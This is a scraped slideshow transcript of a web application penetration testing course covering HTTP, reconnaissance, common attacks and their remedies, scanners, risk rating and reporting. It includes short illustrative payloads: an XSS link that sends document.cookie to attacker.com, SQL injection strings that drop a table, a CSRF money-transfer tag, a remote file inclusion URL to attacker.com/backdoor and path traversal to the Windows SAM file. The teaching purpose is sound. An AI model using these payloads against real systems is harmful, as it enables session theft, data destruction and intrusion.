Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Pentesting web applications

15,870 views

Published on

Published in: Technology
  • Be the first to comment

Pentesting web applications

  1. 1. Web Application Security Satish B satishb3@hotmail.com http://www.securitylearn.net
  2. 2. Web Application Security Is it only Hacking ? No http://www.securitylearn.net
  3. 3. Web Application Security http://www.securitylearn.net
  4. 4. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  5. 5. URI The Request-URI is a Uniform Resource Identifier It identifies the resource upon which to apply the request. http://www.address.edu:1234/path/subdir/file.ext protocol host port Files and resource  hostnames are case-insensitive  80 is the default port http://www.securitylearn.net
  6. 6. HTTP To understand web we need to know about HTTP – Hyper text transfer protocol. Application Layer Protocol Uses TCP as its transport mechanism Core Communication Protocol to access web Message based Model  Client Message – Request  Server Message – Response Stateless  Server does not maintain user information for every request Cookies were introduced to make it stateful http://www.securitylearn.net
  7. 7. HTTP Transaction http://www.securitylearn.net
  8. 8. HTTP Message Types HTTP messages consist of requests from client to server and responses from server to client. Both types of message consist of  start-line (a request-line or a status-line)  zero or more header-fields (also known as "headers"),  an empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields,  and (possibly) a message-body. http://www.securitylearn.net
  9. 9. HTTP RequestRequest Line + Headers + Empty Line Sample GET /books/search.asp?q=wahh HTTP/1.1 Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,application/xshockwaveflash, application/vnd.msexcel,application/vnd.mspowerpoint, application/msword, */* Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.comRequest Line = Method + Resource Location + HTTP Version http://www.securitylearn.net
  10. 10. HTTP RequestRequest Line + Headers + Empty Line + Body Sample POST /books/search.asp HTTP/1.1 Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,application/xshockwaveflash, application/vnd.msexcel,application/vnd.mspowerpoint, application/msword, */* Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.com Content-Length: 10 q=WahhRequest Line = Method + Resource Location + HTTP Version http://www.securitylearn.net
  11. 11. HTTP ResponseResponse Line + Headers + Empty Line + Body Sample HTTP/1.1 200 OK Date: Thu, 30 Jun 2011 13:49:37 GMT Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix) Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 24246 <!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”> <html lang=”en”> <head> …Response Line = HTTP Version + Response Code http://www.securitylearn.net
  12. 12. HTTP Methods GET  Retrieve resources POST  Performing actions HEAD  To check the existence of a resource TRACE  Diagnostic purposes OPTIONS  To find HTTP methods that are available for a resource PUT  To upload a resource to the server DELETE  To delete a resource on the server http://www.securitylearn.net
  13. 13. HTTP Methods Safe Methods – Retrieve information and should not change server state  GET  HEAD  TRACE  OPTIONS Unsafe Methods – Make changes to the server state  PUT  POST  DELETE http://www.securitylearn.net
  14. 14. HTTP Header-Fields HTTP header-fields include  general-headers  request-headers  response-headers  content-headers Each header-field consists of a name followed by a colon and the field value http://www.securitylearn.net
  15. 15. Security Issues In HTTP Privacy  Anyone can see content Integrity  Someone might alter content Authentication  Not clear who you are talking with http://www.securitylearn.net
  16. 16. HTTPS HTTP is unencrypted and insecure HTTPS uses a secure transport mechanism (SSL) Protects privacy and integrity of all data passing over network http://www.securitylearn.net
  17. 17. HTTPS Transaction http://www.securitylearn.net
  18. 18. TLS Basics TLS consists of two protocols Handshake protocol  Use public-key cryptography to establish a shared secret key between the client and the server Record protocol  Use the secret key established in the handshake protocol to protect communication between the client and the server We will focus on the handshake protocol http://www.securitylearn.net
  19. 19. Handshake Protocol Structure ClientHello ServerHello, [Certificate], [ServerKeyExchange], [CertificateRequest], ServerHelloDone [Certificate], ClientKeyExchange, [CertificateVerify] switch to negotiated cipher Finished switch to negotiated cipher Finished http://www.securitylearn.net
  20. 20. Proxy It mediates access between the client browser and the destination web server. When a browser has been configured to use a proxy  Browser sends all of its requests to the proxy  Proxy passes the requests to the relevant web servers  Proxy forwards the responses back to the browser Most proxies also provide additional services, including caching, authentication, and access control Proxy is a program which acts as a client & server. It modifies the request in between communication and maintain caches http://www.securitylearn.net
  21. 21. Encoding techniques Different representation of same data URL Encoding  Permitted characters in the URLs  %20 space UNICODE  Designed to support all the writing systems in the world  %u2215 / HTML Encoding  Represent problematic characters to safely incorporate in HTML page  &quot; & Base 64 Encoding  Encoding process input in blocks of 3 bytes  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw== http://www.securitylearn.net
  22. 22. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  23. 23. Profiling application To find resources on the server Web Spidering, web crawling Brute force – to discover hidden content Use search engines - site: google.com Gain application knowledge Identify server technologies Banner grabbing, Meta tags Tool :HttpPrint, Online: netcraft.com File Extensions  asp—Microsoft Active Server Pages  aspx—Microsoft ASP.NET  jsp—Java Server Pages  cfm—Cold Fusion  php—the PHP language http://www.securitylearn.net
  24. 24. Profiling application From session tokens  JSESSIONID—The Java Platform  ASPSESSIONID—Microsoft IIS server  ASP.NET_SessionId—Microsoft ASP.NET  CFID/CFTOKEN—Cold Fusion  PHPSESSID—PHP Identify Input locations Look for robots.txt file Error codes in the application Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied http://www.securitylearn.net
  25. 25. Profiling applicationRequest GET /books/search.asp?q=wahh HTTP/1.1 Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.comResponse HTTP/1.1 200 OK Date: Thu, 30 Jun 2011 13:49:37 GMT Server: Apache/1.3.26 (Unix) Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US … http://www.securitylearn.net
  26. 26. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  27. 27. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues, caching Attacking webserver http://www.securitylearn.net
  28. 28. Authentication What - Confirms the identity of a user Why - To protect web content Normally relies on username and password Authentication takes place with every browser-server interaction Types – HTTP integrated  Basic  Digest - hash  NTLM - Integrated windows Form-based  POST delivered parameters http://www.securitylearn.net
  29. 29. Authentication Client request 401 response Base 64 credentials Valid response Base 64 credentialsLogin Valid responseCredentials http://www.securitylearn.net
  30. 30. Attacking Authentication Try default accounts and password ex: admin/admin Capture credentials over HTTP - unencrypted channel Capture credentials passed in URLs Auto complete in login page Remember me Predictable usernames - numbers, emails Password requirements – length, allowed characters  Real attack – gawker Bruteforce attacks – Dictionary attack, search attack Account lockout Through error messages “User account not found” or “Password incorrect ” Change password without original http://www.securitylearn.net
  31. 31. Attacking Authentication Shoulder Surfing Forgot password functionality Forceful browsing – authentication not verified on server http://www.securitylearn.net
  32. 32. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  33. 33. Authorization What – Specifies access rights of a user Why - To access control web content/resources Normally relies on access control policies Authorization takes place with every browser-server interaction Types  Programmatic control – every user access stored in database  Roles based control – Roles contain different set of privileges and each user is assigned to one role http://www.securitylearn.net
  34. 34. Attacking Authorization Tampering parameters Ex: http://www.citibank.com/userprofile.php?user=satish Directly requesting the restricted resources Horizontal Escalation Vertical Escalation http://www.securitylearn.net
  35. 35. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  36. 36. Cryptography Cipher- Encryption, Decryption algorithms Transposition cipher - rearrange the letters in a word  help is ehpl‘ Substitution cipher - replacing a letter with a different letter  abc is bcd here replacing a letter by a following letter (a+1=b)  Symmetric Algorithms  Uses same key for encryption and decryption  Asymmetric Algorithms  Uses different keys for encryption and decryption  Steganography – hiding messages in images  Use of weak algorithms for https  SSL Testing – SSL digger  Use of weak Hashing algorithms  MD5 passwords – Rainbow tables http://www.securitylearn.net
  37. 37. Cryptography Weaknesses Use of weak algorithms for https SSL Testing – SSL digger Use of weak Hashing algorithms MD5 passwords – Rainbow tables http://www.tmto.org/pages/passwordtools/hashcracker/ PBKDF2 http://www.securitylearn.net
  38. 38. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  39. 39. Session Management Session id: is used to associate specific web page activity with a specific user so that sense of the state was prevented for the web application. May transmitted in  GET  Browser History  Server Logs  POST  Difficult to POST in every request  Cookie http://www.securitylearn.net
  40. 40. Breaking Sessions Secure flag HTTPOnly flag Static session – same session for the user on every login Randomness – SID strength, length Meaningful cookies - username in cookies Reusing cookies – login multiple times, Burp Sequencer SID in URL Persistent cookies Session timeout Session fixation Logout – does not expire session http://www.securitylearn.net
  41. 41. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  42. 42. Cross Site Scripting Breaks same origin policy A loophole in the application using which an attacker can inject malicious scripts into a page sent by your server. Browsers treat these injected scripts like any other script in the page Cross-Site” means: Foreign script sent via server to client  Attacker makes Web-Server deliver malicious script code  Malicious script is executed in Client’s Web Browser Scripting: Web Browsers can execute commands  Embedded in HTML page  Supports different languages (JavaScript, VBScript, ActiveX, etc.)  Most prominent: JavaScriptTypes  Stored XSS  Reflective XSS  DOM based XSS http://www.securitylearn.net
  43. 43. Cross Site Scripting DOM based XSS  If a piece of JavaScript access the URL request parameters and use that information to write a html content to its own page with out html encoding Reflective XSS  Non-persistent  when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Stored XSS  Persistent  when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities  Ex: Blogs, Comments, Job Postings http://www.securitylearn.net
  44. 44. Cross Site Scripting Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2c+an +error+occurred The error message is “Reflected” back from the Web server to the client in a web page. <p>Sorry, an error occurred.</p> We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script> http://www.securitylearn.net
  45. 45. Anatomy of XSS User logs into legitimate site. Site sends user authentication cookie. Attacker sends XSS attack containing injected code to user.https://example.com/error.php?message=<img src=‘http://attacker.com/’+document.cookie/> User clicks on XSS link in email, web, IM. Browser contacts vulnerable URL at legitimate site. Legitimate site returns injected code in web page. Browser runs injected code, which sends cookies to the attacker.com. The attacker monitors requests to attacker.com and captures the user cookie Attacker uses cookie to authenticate to legitimate site as the user. http://www.securitylearn.net
  46. 46. Cross Site Scripting Impact Hijack User accounts  Steal cookies  Steal Credentials Modify Web pages – Defacement  Company will lost public image  Lost money & Customers Record Keystrokes from the browser Steal clipboard data Execute any command at the client machine Cause denial of service – crash browser Attacker can do anything a user can do on his machine http://www.securitylearn.net
  47. 47. XSS Remedy Validate Input  Input data contains only a certain permitted set of characters  Choose white list  Perform server side validation Encode Output  If application copies user input in the responses, this data should be encoded properly using HTML encoding Ex: Escape & < > " as &amp; &lt; &gt; &quot; '  Mark session cookies as HTTPOnly to protect them from stealing http://www.securitylearn.net
  48. 48. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  49. 49. SQL Injection Every web application uses a database to store information SQL is used to mange information in the database User-supplied data is incorporated into SQL statement  Unsafe way – SQL injection  Safe way – Secure A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. This alters the execution behaviour of the backend query and allows an attacker to execute unauthorized SQL commands. Types  Error based SQLi  Blind SQLi – Time based delays, Union Queries TOOLS: SQLMap, SQLNinja, Absinthe http://www.securitylearn.net
  50. 50. SQL Injection Classified based on data retrieval  Inbound  Error Based data retrieval  Outbound  Direct connection to the database or communication through other channel  Inference  Data extraction in Blind SQL injection http://www.securitylearn.net
  51. 51. SQL Injection Example Books catalog – allows a user to search for a book by author name https://example.com/error.php?authorname=James The backend query to retrieve the books details is SELECT title,year FROM books WHERE author = ‘James’ Result : Web site displays the list of books written by James http://www.securitylearn.net
  52. 52. SQL Injection Example If an attacker injects a SQL interpreted character in the input it alters the meaning of the back end query https://example.com/error.php?authorname=O’Reilly The query becomes SELECT title,year FROM books WHERE author = ‘O’Reilly’ Extra single quote in the SQL query breaks the syntax of the SQL statement. Result : Web site displays an error message Incorrect syntax near ‘Reilly’. Unclosed quotation mark before the character string ‘ http://www.securitylearn.net
  53. 53. SQL Injection Example Attacker injects an input which doesn’t break the syntax. https://example.com/error.php?authorname=James’ or 2=2–– The backend query becomes SELECT title,year FROM books WHERE author = ‘James’ or 2=2––’ Result : Web site displays the list of books written by James http://www.securitylearn.net
  54. 54. SQL Injection Example Attacker can inject dangerous SQL statements https://example.com/error.php?authorname=James’; drop table books;–– The backend query becomes SELECT title,year FROM books WHERE author = ‘James’ ; drop table books;–– Result : Web site displays the list of books written by James It deletes the books table from the database http://www.securitylearn.net
  55. 55. SQL Injection Impact Alter the database – Add new tables, delete existing tables, etc… Compromise user accounts by obtaining their passwords Collects sensitive data like credit card numbers, SSN, etc… Can access the files on the server Cause Denial of service by stopping the database Attacker can do anything a DBA can do http://www.securitylearn.net
  56. 56. SQL Injection Remedy Validate Input  Input data contains only a certain permitted set of characters  Choose white list  Perform server side validation Parameterized queries (show samples)  Also known as prepared statements  Define all the SQL statements first and then pass parameters  Attacker can not change the intent of the query Stored procedures also worksTo reduce the Impact  Store passwords in salted hash format  Connect to the database with Low privileged user http://www.securitylearn.net
  57. 57. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  58. 58. Cross Site Request Forgery Web applications uses cookie to keep track of user session Application sets a cookie in a user’s browser, the browser will automatically submit that cookie back to the application in every subsequent request. The browser submits the cookie regardless of whether the request originates from a link provided by the application itself or from a URL received from elsewhere, such as in an email or on another web site. A Cross-site request forgery hole is when a malicious site web site that causes the user’s browser to submit a request directly to the vulnerable application, to perform some unintended action that is beneficial to the attacker. TOOL : CSRFTester http://www.securitylearn.net
  59. 59. CSRF Example Bank website – Allows to transfer money from one account to other account Transaction page in the bank website contains the following code <form method=POST action=‘Transaction. asp’> <input type=text name=‘SourceAccount’ value=> <input type=text name=‘DestinationAccount’ value=> <input type=text name=‘Amount’ value=> … http://www.securitylearn.net
  60. 60. Anatomy of CSRF The user logged into the bank website User visits a malicious website which sends the following request <img src=http://bank.com/?SourceAccount=23456& DestinationAccount=attackeraccount&Amount=10000> The browser attaches bank.com cookies to the above request and send it to the server The application transfers the amount to the attacker account with out the user intervention. http://www.securitylearn.net
  61. 61. CSRF Remedy Reauthenticate user for every important transaction Use of CAPTCHA for sensitive transaction Random tokens in every request  It breaks the Brower back button feature  Implement random tokens at every transaction (POST requests)  Do not transmit tokens in the URLs  Validate the token on the server side http://www.securitylearn.net
  62. 62. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  63. 63. URL Redirection A URL Redirection is to bring the browser from one URL to another URL.  http://www.example.com/click.php?id=215&url=http://www.google.com Redirection to sites which install malware. Possible to perform phishing attacks. Possible to exploit browser vulnerabilities. http://www.securitylearn.net
  64. 64. Phishing Acquiring sensitive information (username, password and credit cards) by masquerading as a trusted website.Attack Scenario  Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.  Victim enters his credentials in fake login page that goes to attacker  Victim is then redirected to an error page or genuine website depending on attacker Social Engineering tool kit http://www.securitylearn.net
  65. 65. URL Redirection Remedy Validate user input properly. Create mapping for pages names on server and use mapped values in requests.  Ex: 1 – home.asp, 2 – index.asp URL: http://www.example.com/redirect.php?=1 http://www.securitylearn.net
  66. 66. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  67. 67. HTTP Response Splitting HTTP protocols:  Headers separated by a single CR or LF  Headers separated from the body by 2 CRs or LFs Attack Possibility:  When user data inserted in response headers.  Ex: Cookies, Location header…  Inject CRs and LFs in such manner that a second HTTP message is formed where only one was expected by the application.  CR LF Terminates the first response and forms the second response Used to deface web sites, poison cache and trigger cross-site scripting http://www.securitylearn.net
  68. 68. HTTP Response Splitting Original: http://www.mysite.com/default.aspx?user=a Modified: http://www.mysite.com/default.aspx?user=a %0D%0A%0D%0AHTTP/1.1 200 OK Response: HTTP/1.1 200 Ok Location: http://www.mysite.com/default.aspx?user=a HTTP/1.1 200 OK … http://www.securitylearn.net
  69. 69. HTTP Response Splitting Remedy Validate input properly. Do not insert user input in response headers. http://www.securitylearn.net
  70. 70. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  71. 71. File Upload When a user is able to upload a file which is not validated by the server, a potential exists to upload malicious code to the server and execute it remotely. If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. Web Shells  C99 shell  Pwn.jsp  Browser.asp Denial of service  Large files uploading Null Character (%00) attacks Client side validation http://www.securitylearn.net
  72. 72. File Upload Remedy Validate file names and implement a white list for allowed file extensions. Configure antivirus on web server for disk write events. Put a size limit on file upload. Perform checks on file header (MIME). Demo on Hex editors usage Demo & practical on web shells http://www.securitylearn.net
  73. 73. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  74. 74. Path Traversal Attacks Web applications reads from or write to file systems based on the user data supplied (file uploading and downloading) Un-validated input allows application to access files which are not intended for access Read server configurations files and source code http://www.abc.com/getimpage.aspx?file=logo.jpg  Extracts the value of the file parameter from the query string.  Appends this value to the prefix C:wahh-appimages.  Opens the file with this name.  Reads the file’s contents and returns it to the client. http://www.abc.com/getimpage.aspx?file=....boot.ini http://www.abc.com/getimpage.aspx?file=....windowsrepairsam http://www.securitylearn.net
  75. 75. File Inclusion Attacks Languages support the use of include files Code in the include file interpreted just as if it had been inserted at the location of the include directive. Include files are loaded from user input Remote file inclusions  PHP is more vulnerable  PHP include function accepts remote paths https://app.com/main.php?Country=US https://app.com/main.php?Country=http://attacker.com/backdoor Local file inclusions  Including other files on the same server  Normally files that the user does not have access http://www.securitylearn.net
  76. 76. Remedy Validate user input properly. Blacklist ../ characters. Run web server with low privileged user. http://www.securitylearn.net
  77. 77. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  78. 78. Server Configuration Issues Directory listings Source code disclosure Documents Caching WEBDAV methods Backup files for access Debug functionality Displaying Stack traces to the user http://www.securitylearn.net
  79. 79. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  80. 80. Attacking Web Server Popular web servers  Microsoft IIS  Apache  IBM WebSphere  Oracle WebLogic  Apache Tomcat  JBoss Un-patched software Test Scripts Denial of service attacks Buffer overflow attacks  Server Extenstions http://www.securitylearn.net
  81. 81. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
  82. 82. OWASP Top 10 A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards http://www.securitylearn.net
  83. 83. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  84. 84. Automated Tools Tools automate the ‘attack’ on the web server/database server. Send protocol specific requests to the server to test for common vulnerabilities How they work ?  Signature based Phases  Crawl  Audit (attack)  Report Tools  AppScan – IBM  WebInspect – HP  Accunetix  Vega… http://www.securitylearn.net
  85. 85. Automated Tools Good at  Testing for 100s of common vulnerabilities and mis-configurations that are impractical to test for manually  Regression testing of servers to ensure they stay secure – especially after activities like patching or new code deployment  Ability to schedule automated scanning/testing for off-production hours to avoid conflicts Not good at  Automated tools are most effective at ‘guessing’ and using known signatures to identify issues  Most applications are custom developed and complex in nature  Detailed exploits that require intelligent feedback and analysis  Can not find business logic bugs http://www.securitylearn.net
  86. 86. Automated Tools Problems  Testing can adversely impact a system being scanning (ex: filling database)  Performance issues and crashing can happen  The most rigorous testing usually requires special planning and may overload log files, set off IDS sensors and leave ‘junk’ application data  False positives & False Negatives. http://www.securitylearn.net
  87. 87. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  88. 88. Risk Assessment Why Risk assessment ?  Prioritize tasks Likelihood  Probability of attack to happen  Ease of discovery  Easy of exploit Impact  Effect of the attack  Loss of confidentiality, Business damage, Financial damage Total Risk = Likelihood * Impact CVE standardhttps://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology http://www.securitylearn.net
  89. 89. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  90. 90. Reports Documentation world - You must not only be able to do your job, but also provide written proof of how you’ve done it. To make it understandable to the organization (developers). Mostly PDF formats NDA – Non Disclosure Agreements Report  Who tested it?  Details  Disclaimers  Environment details (URLs)  Summary (Graphs)  Technical Details  Risk  Description,  Reproduction steps  Remediations http://www.securitylearn.net
  91. 91. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
  92. 92. Web Application Firewalls Blocks suspicious web requests depending on some known malicious pattern that is embedded in the request. Web Application Firewalls  Check for malicous input values  Check for modification of read-only parameters  Block requests or filter out parameters Can help to protect „old“ applications  No source code available  No know-how available  No time available No general solution  Usefulness depends on application  Not all applications can be protected  OWASP ESAPI – to filter input http://www.securitylearn.net
  93. 93. Advanced Technologies Web Services Flash Ajax Activex Controls Java Signed applets http://www.securitylearn.net
  94. 94. http://www.securitylearn.net

×